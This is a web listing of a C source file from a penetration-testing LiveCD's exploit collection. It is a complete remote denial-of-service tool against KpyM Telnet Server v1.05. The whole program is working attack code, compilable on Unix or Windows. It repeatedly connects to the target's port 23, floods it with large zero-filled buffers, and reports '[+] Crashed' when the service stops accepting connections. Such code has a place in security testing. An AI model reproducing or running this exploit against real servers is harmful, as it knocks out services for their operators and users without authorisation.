home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / telnet / kpym_exp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  140 lines

  1. /* By NoRpiuS 
  2. *  UNIX & WIN VERSION 
  3. *  USE -DWIN to compile on windows
  4. */
  5.  
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #ifdef WIN
  10.     #include <winsock.h>
  11.     #define close   closesocket
  12. #else
  13.     #include <unistd.h>
  14.     #include <sys/socket.h>
  15.     #include <sys/types.h>
  16.     #include <arpa/inet.h>
  17.     #include <netdb.h>
  18. #endif
  19.  
  20. #define PORT    23
  21. #define BUFFSZ  10000   
  22.  
  23. u_long resolv(char *host);
  24. void std_err(void);
  25.  
  26. int main(int argc, char *argv[]) {
  27.     u_char  *buff;
  28.     struct  sockaddr_in peer;
  29.     int     sd, err;
  30.     u_short port = PORT;
  31.  
  32.  
  33.     setbuf(stdout, NULL);
  34.  
  35.     fputs("\n"
  36.         "KpyM Telnet Server v1.05 remote DoS\n"
  37.         "by NoRpiUs\n"
  38.         "e-mail: norpius@altervista.org\n"
  39.         "web:    http://norpius.altervista.org\n"
  40.         "\n", stdout);
  41.  
  42.     if(argc < 2) {
  43.         printf("\nUso: %s <ip>\n\n",argv[0]);
  44.         exit(1);
  45.     }
  46.  
  47.  
  48.  
  49. #ifdef WIN
  50.     WSADATA    wsadata;
  51.     WSAStartup(MAKEWORD(1,0), &wsadata);
  52. #endif
  53.  
  54.     peer.sin_addr.s_addr = resolv(argv[1]);
  55.     peer.sin_port        = htons(port);
  56.     peer.sin_family      = AF_INET;
  57.  
  58.  
  59.     buff = malloc(BUFFSZ);
  60.     if(!buff) 
  61.     {
  62.           fputs("[-] Can't allocate buffer\n", stdout);
  63.           exit(0);
  64.     }
  65.         
  66.  
  67.     sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  68.     if(sd < 0) 
  69.     {
  70.           fputs("[-] Can't create socket\n", stdout);
  71.           exit(0);
  72.     }
  73.  
  74.     printf("\n[+] Connecting to %s:%hu...\n",
  75.         inet_ntoa(peer.sin_addr), port);
  76.     err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
  77.     if(err < 0) 
  78.     {
  79.           fputs("[-] Can't connect\n", stdout);
  80.           exit(0);
  81.     }
  82.  
  83.     err = recv(sd, buff, BUFFSZ, 0);
  84.     if(err < 0) 
  85.     {
  86.           fputs("[-] No response from the server", stdout);
  87.           exit(0);
  88.     }
  89.  
  90.     memset(buff, 0, BUFFSZ);
  91.  
  92.     fputs("[+] Waiting for the crash.. ", stdout);
  93.    
  94.     while(1) 
  95.     {                
  96.        err = send(sd, buff, BUFFSZ, 0);
  97.        if(err < 0) 
  98.        {
  99.           fputs("[-] Can't send\n", stdout);
  100.           exit(0);
  101.        }
  102.        printf(".");
  103.        close(sd);
  104.        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  105.        err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
  106.        if ( err < 0 ) 
  107.        {
  108.            fputs("\n[+] Crashed\n\r", stdout);
  109.            exit(0);
  110.        }
  111.     }
  112.     
  113.     close(sd);
  114.     return(0);
  115. }
  116.  
  117.  
  118. u_long resolv(char *host) {
  119.     struct hostent *hp;
  120.     u_long host_ip;
  121.  
  122.     host_ip = inet_addr(host);
  123.     if(host_ip == INADDR_NONE) 
  124.     {
  125.         hp = gethostbyname(host);
  126.         if(!hp) 
  127.         {
  128.             printf("\nError: Unable to resolve hostname (%s)\n", host);
  129.             exit(1);
  130.         } 
  131.     else host_ip = *(u_long *)(hp->h_addr);
  132.     }
  133.     return(host_ip);
  134. }
  135.  
  136.  
  137.  
  138.  
  139.  
  140.